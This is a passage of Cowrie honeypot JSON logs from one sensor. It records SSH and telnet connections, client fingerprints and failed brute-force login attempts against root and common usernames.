AAAAB3NzaC1yc2EAAAADAQABAAACAQDD5DAe7SHfi0sZRl2QLyWpHVMW9PS8LRcFf0/QbEU4P1SpYDkj4tDwdS6W7RQytSgckqXcnq7Lu2HGyXi2Vwrj7prWsxjv/9I7pDKuiBrK9Jh7fbldOjiUGXU5jqIE9U6zL1o/dOC/Vlc/rw7I5K6B46N4CBvNM1DOmdCvb+gZWxInwu7/UrUoIrPEDZVZDuOu1hKErItBKOIVI6n23H7DjPrJJQJQMlHWOKrj3dWf5CGDtec6sS6nyG6AHF2B9V8GCyA1wDaJg2jS50n5Rup8pEhphiwCimp85HWhtv/O57DlB8B6qHAo5lEdXDWDDql2b00IEI5R9pfBRzAgJYAkKp7SPU2WPmMAIiK3vQkl1djvgQVhTp4IP/HedI6sCmYOWhAr+vocrGxWOy+xGnW/1cU3Bqwq11B0Ii6q5QVKXXoKQCIphoGEJAazfWz9DVSDqwn3dwkRhnkyEwwVASzWO5LJbXIhM64ezC/ktSXSugFSN776VjPVj2giScLDf/jBpbigI71o2dua2Gx0HXq256ZgwEBA2Oc0OgBvoGSGRto16kjNiT3Zhe8F6oZZ3FjhPXZGrWIkdABu5nm2XIUTgNLLun1286pP6ncjUgXO3FEmMJONxDL2YAOuFyD5Y7uz0snWXjGY6IMEDWwOW3bbwC3g7lHEbx8YrGn3DtVyvQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:34:19.241767Z","src_ip":"195.154.200.208","session":"e5c0af5e0c63","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"17:63:9a:aa:da:14:f9:2e:a4:92:43:d1:c5:11:00:1f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDM8i/djyfbPdWlrqsPUy2g7Qs3uxb3Gn4FnR2eWOc+LWyP4SH5lQzIBEeXG5YtmVs06ZI8qKx3WKzreSYVmDrJqsgmqk0OUyLcQyYZQB5914EpecohOoCg7QbYzPkvtNmql7mLr1xIlsD/PzVmaPOgzWS7FbWEM8HRuCA2UX8fIWg5C1431fT+O0XAQlrDo8tpkX+FDd292llgZRprUo5viylDQycyj5YXcn9HvQPLhU7U62v98zc+7wsfkbQ+Y89tNF4Uwx/nP9mgfESY2E8TvY4KNjFsINLAaySS0n4X6y98E9/NhboYtbxBIEhBdJ6tXF4PzswjhC0+xZVcS5jr342qIWjY86U8vCMKApLbCujPkkhVUSUnBN7lF6x6lytV7kIuuaakA1va5ima+A01sUHSi9B3ZtT70oABA0N4uqxoeeHGEj2h9wk40mfeZOFF0bwjZ4Xva9A+2br144M0/5vQcSlsXoc+5F/6BtyjeNuu787aQAAJSBw5RbxxZ4ri3niFoG1fyYVBLuih9icRjWgqFviRYD6Xw4MG5uX4VwkGtgZZGEYhnXdZgyTmwhCgFB0bw6xvoOmkNyXvwEXaBYtnR2pD8puYhdDYUEJXCRmu11Es68gPxS6Z4OrjoBla09cxzTFGBZnVy7b0jPYaULUk5GrGLBoSo6ILVgF2ow==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 17:63:9a:aa:da:14:f9:2e:a4:92:43:d1:c5:11:00:1f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:34:19.324029Z","src_ip":"195.154.200.208","session":"e5c0af5e0c63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"17:63:9a:aa:da:14:f9:2e:a4:92:43:d1:c5:11:00:1f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDM8i/djyfbPdWlrqsPUy2g7Qs3uxb3Gn4FnR2eWOc+LWyP4SH5lQzIBEeXG5YtmVs06ZI8qKx3WKzreSYVmDrJqsgmqk0OUyLcQyYZQB5914EpecohOoCg7QbYzPkvtNmql7mLr1xIlsD/PzVmaPOgzWS7FbWEM8HRuCA2UX8fIWg5C1431fT+O0XAQlrDo8tpkX+FDd292llgZRprUo5viylDQycyj5YXcn9HvQPLhU7U62v98zc+7wsfkbQ+Y89tNF4Uwx/nP9mgfESY2E8TvY4KNjFsINLAaySS0n4X6y98E9/NhboYtbxBIEhBdJ6tXF4PzswjhC0+xZVcS5jr342qIWjY86U8vCMKApLbCujPkkhVUSUnBN7lF6x6lytV7kIuuaakA1va5ima+A01sUHSi9B3ZtT70oABA0N4uqxoeeHGEj2h9wk40mfeZOFF0bwjZ4Xva9A+2br144M0/5vQcSlsXoc+5F/6BtyjeNuu787aQAAJSBw5RbxxZ4ri3niFoG1fyYVBLuih9icRjWgqFviRYD6Xw4MG5uX4VwkGtgZZGEYhnXdZgyTmwhCgFB0bw6xvoOmkNyXvwEXaBYtnR2pD8puYhdDYUEJXCRmu11Es68gPxS6Z4OrjoBla09cxzTFGBZnVy7b0jPYaULUk5GrGLBoSo6ILVgF2ow==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:34:19.327703Z","src_ip":"195.154.200.208","session":"e5c0af5e0c63","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"52:e0:88:82:c8:9d:15:8d:fc:09:d5:63:33:9f:11:76","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCip0ZzebGAzEXHW8C4nQDZW4NTIWIIJwnsKz9mzGX7AQZW2jTy3DnP4tg3xCbyv+SJHSJNNz4xe3mU0H5xYZxE1RRBExuLoWD+8tg2EN40UX7zt62cCuy0ZGrsKJt2zoFD+qiCcqOksB1bn7D8dQvUnLin9KODOzC+k4SQ0jZ4Luw5pxtcMYpmmT2B37y0ntBcJgSLO+dmL9jV3w3ByuT69C38xQIXUOjOFjrgJV+wJGGTBpdR/Tvj4HAva5+yCIWa05aZDIJ5t6HQryeCAGox5hH6816ITrUsRpZoMf2xfW8QE5C7x/5nAxk3w4k5iOK+N5GhWnBxEDu0SsMkvFOp3ms6Iny0i4n6ITL3gGAwuG4JFaMXcH/Jq53MMjSTTSU9sK9NHP6ARyw4VgyrrS/tBcDbBqZC2Y3ZPz1TaQI487I81ie+uEHX71ZS6KYf7W44MH7uTjOpYDz+KWA8Qy1TtKJGap9ETb8VL9iiYcuAckBYwTG5YpoIgd/QNZ5Wsh3J8Y9m3ghDpVgiVXts6fAp6lXfz9WfqF8wOlISzOCMhBnCnicuRl99Y/uQw2FyNUhFN4lar3F4YdNNQ7O2sQzEq4XSW7/5HSUcz7pEQmfk0BkHmYtaYJZksaU9pMVBja4fo5CW9nE03+PvaNdMl4uYvVApGT4yG0/WoT95jb39aQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 52:e0:88:82:c8:9d:15:8d:fc:09:d5:63:33:9f:11:76","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:34:19.409369Z","src_ip":"195.154.200.208","session":"e5c0af5e0c63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"52:e0:88:82:c8:9d:15:8d:fc:09:d5:63:33:9f:11:76","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCip0ZzebGAzEXHW8C4nQDZW4NTIWIIJwnsKz9mzGX7AQZW2jTy3DnP4tg3xCbyv+SJHSJNNz4xe3mU0H5xYZxE1RRBExuLoWD+8tg2EN40UX7zt62cCuy0ZGrsKJt2zoFD+qiCcqOksB1bn7D8dQvUnLin9KODOzC+k4SQ0jZ4Luw5pxtcMYpmmT2B37y0ntBcJgSLO+dmL9jV3w3ByuT69C38xQIXUOjOFjrgJV+wJGGTBpdR/Tvj4HAva5+yCIWa05aZDIJ5t6HQryeCAGox5hH6816ITrUsRpZoMf2xfW8QE5C7x/5nAxk3w4k5iOK+N5GhWnBxEDu0SsMkvFOp3ms6Iny0i4n6ITL3gGAwuG4JFaMXcH/Jq53MMjSTTSU9sK9NHP6ARyw4VgyrrS/tBcDbBqZC2Y3ZPz1TaQI487I81ie+uEHX71ZS6KYf7W44MH7uTjOpYDz+KWA8Qy1TtKJGap9ETb8VL9iiYcuAckBYwTG5YpoIgd/QNZ5Wsh3J8Y9m3ghDpVgiVXts6fAp6lXfz9WfqF8wOlISzOCMhBnCnicuRl99Y/uQw2FyNUhFN4lar3F4YdNNQ7O2sQzEq4XSW7/5HSUcz7pEQmfk0BkHmYtaYJZksaU9pMVBja4fo5CW9nE03+PvaNdMl4uYvVApGT4yG0/WoT95jb39aQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:34:19.413370Z","src_ip":"195.154.200.208","session":"e5c0af5e0c63","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1a:97:cc:f1:c5:88:43:40:f7:92:b2:ce:34:5c:fa:93","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDExMFdRzwhmmVabxddQQkN0osJu0lp7BJk9lHfJZ88qONcG53ZWK0zT2iaLgysq0Ux4fPOe66SA7f9zAgPXNRaWbUH90y/Kf2hW18HrTGFttgKe9YFhUI76GiCFOUPx9W8XPJxD5ZlrdykrNF6po2bIldK7g2Sbp2EbCNdGLjHAGBNHFUgKCqlbmuGQD7VDwtxM0OS+ikrg80NOEMERV0w4jZYxTOehhbgNKPdBJ8IMhMAODUBsrK6ZMIFdys6w0NgfQaQytCcZJ07wxi4Yh7ICbYN867sRetKCF158QV4aydJS6jyY9sf1UfS8bweeGwVhTzvctLF+C4AP0bQxRSP7EcH+RTleWWaFqjryZhUFt9okV6+mE+ajVdXevpGaWqR3bvKL7HnjtK9iu3lgbng9DjYByyeicV3HLUmpfLq8NB9AO3YywqnGUYg/NSGi/Yc0w7jiWwM4URaRVDEMR1hc9kdYhIZsHvvF03GDM39U+bRc20X5x0pHzL7QklbFGqP3FroxIPFRyZFwpHPw9BMsrT9Y8pMnmoLtxgNtxc3mTusv+h4cCJVESDjXmJhizhhfnwdItEoVXo0BDFdh0gNFrDeWMOmNSaVquZpS6TZC60d9nW1tu2R4IAFqMaEpWkY/CMhLlWc9BC7nNjxPu8Y4oSFXnrnOfE/cLwlIwqFjQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1a:97:cc:f1:c5:88:43:40:f7:92:b2:ce:34:5c:fa:93","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:34:19.495499Z","src_ip":"195.154.200.208","session":"e5c0af5e0c63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1a:97:cc:f1:c5:88:43:40:f7:92:b2:ce:34:5c:fa:93","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDExMFdRzwhmmVabxddQQkN0osJu0lp7BJk9lHfJZ88qONcG53ZWK0zT2iaLgysq0Ux4fPOe66SA7f9zAgPXNRaWbUH90y/Kf2hW18HrTGFttgKe9YFhUI76GiCFOUPx9W8XPJxD5ZlrdykrNF6po2bIldK7g2Sbp2EbCNdGLjHAGBNHFUgKCqlbmuGQD7VDwtxM0OS+ikrg80NOEMERV0w4jZYxTOehhbgNKPdBJ8IMhMAODUBsrK6ZMIFdys6w0NgfQaQytCcZJ07wxi4Yh7ICbYN867sRetKCF158QV4aydJS6jyY9sf1UfS8bweeGwVhTzvctLF+C4AP0bQxRSP7EcH+RTleWWaFqjryZhUFt9okV6+mE+ajVdXevpGaWqR3bvKL7HnjtK9iu3lgbng9DjYByyeicV3HLUmpfLq8NB9AO3YywqnGUYg/NSGi/Yc0w7jiWwM4URaRVDEMR1hc9kdYhIZsHvvF03GDM39U+bRc20X5x0pHzL7QklbFGqP3FroxIPFRyZFwpHPw9BMsrT9Y8pMnmoLtxgNtxc3mTusv+h4cCJVESDjXmJhizhhfnwdItEoVXo0BDFdh0gNFrDeWMOmNSaVquZpS6TZC60d9nW1tu2R4IAFqMaEpWkY/CMhLlWc9BC7nNjxPu8Y4oSFXnrnOfE/cLwlIwqFjQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:34:19.499267Z","src_ip":"195.154.200.208","session":"e5c0af5e0c63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:34:19.582963Z","src_ip":"195.154.200.208","session":"e5c0af5e0c63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":42342,"dst_ip":"159.203.135.109","dst_port":22,"session":"e703a38deea7","protocol":"ssh","message":"New connection: 193.32.162.145:42342 (159.203.135.109:22) [session: e703a38deea7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:34:42.169739Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:34:42.173970Z","src_ip":"193.32.162.145","session":"e703a38deea7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:34:42.274301Z","src_ip":"193.32.162.145","session":"e703a38deea7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:34:42.576315Z","src_ip":"193.32.162.145","session":"e703a38deea7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:34:43.680906Z","src_ip":"193.32.162.145","session":"e703a38deea7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00682473182678,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:35:23.008898Z","src_ip":"180.235.129.180","session":"c4d8d2112d04","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":51890,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad4004816a3c","protocol":"telnet","message":"New connection: 180.235.129.180:51890 (10.17.0.5:23) [session: ad4004816a3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:35:46.198095Z"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":51884,"dst_ip":"10.17.0.5","dst_port":23,"session":"732ebce03b75","protocol":"telnet","message":"New connection: 180.235.129.180:51884 (10.17.0.5:23) [session: 732ebce03b75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:35:51.140712Z"}
{"eventid":"cowrie.session.closed","duration":7.213849306106567,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:35:53.411818Z","src_ip":"180.235.129.180","session":"ad4004816a3c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":54202,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c051456863d","protocol":"telnet","message":"New connection: 180.235.129.180:54202 (10.17.0.5:23) [session: 1c051456863d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:36:09.595941Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":8501,"dst_ip":"10.17.0.5","dst_port":22,"session":"377c361544ff","protocol":"ssh","message":"New connection: 2.57.121.25:8501 (10.17.0.5:22) [session: 377c361544ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:36:17.091986Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:36:17.101505Z","src_ip":"2.57.121.25","session":"377c361544ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:36:17.202423Z","src_ip":"2.57.121.25","session":"377c361544ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"28121991","message":"login attempt [user/28121991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:36:17.680979Z","src_ip":"2.57.121.25","session":"377c361544ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":8.213472604751587,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:36:17.809272Z","src_ip":"180.235.129.180","session":"1c051456863d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"281183","message":"login attempt [user/281183] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:36:18.784486Z","src_ip":"2.57.121.25","session":"377c361544ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"28101993","message":"login attempt [user/28101993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:36:19.890402Z","src_ip":"2.57.121.25","session":"377c361544ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"28101983","message":"login attempt [user/28101983] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:36:20.993962Z","src_ip":"2.57.121.25","session":"377c361544ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"28091994","message":"login attempt [user/28091994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:36:22.097802Z","src_ip":"2.57.121.25","session":"377c361544ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:36:23.201533Z","src_ip":"2.57.121.25","session":"377c361544ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":56350,"dst_ip":"159.203.135.109","dst_port":22,"session":"e041bd717b61","protocol":"ssh","message":"New connection: 193.32.162.145:56350 (159.203.135.109:22) [session: e041bd717b61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:36:57.566174Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:36:57.573497Z","src_ip":"193.32.162.145","session":"e041bd717b61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:36:57.676045Z","src_ip":"193.32.162.145","session":"e041bd717b61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"validator","password":"validator","message":"login attempt [validator/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:36:58.174642Z","src_ip":"193.32.162.145","session":"e041bd717b61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:36:59.277049Z","src_ip":"193.32.162.145","session":"e041bd717b61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00577116012573,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:37:51.146344Z","src_ip":"180.235.129.180","session":"732ebce03b75","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":54634,"dst_ip":"10.17.0.5","dst_port":22,"session":"222e3861041f","protocol":"ssh","message":"New connection: 45.148.10.121:54634 (10.17.0.5:22) [session: 222e3861041f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:37:53.597569Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:37:53.667095Z","src_ip":"45.148.10.121","session":"222e3861041f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:37:53.722828Z","src_ip":"45.148.10.121","session":"222e3861041f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.38.96.216","src_port":38706,"dst_ip":"10.17.0.5","dst_port":22,"session":"8543ad02784d","protocol":"ssh","message":"New connection: 89.38.96.216:38706 (10.17.0.5:22) [session: 8543ad02784d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:38:16.303652Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T00:38:16.308521Z","src_ip":"89.38.96.216","session":"8543ad02784d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-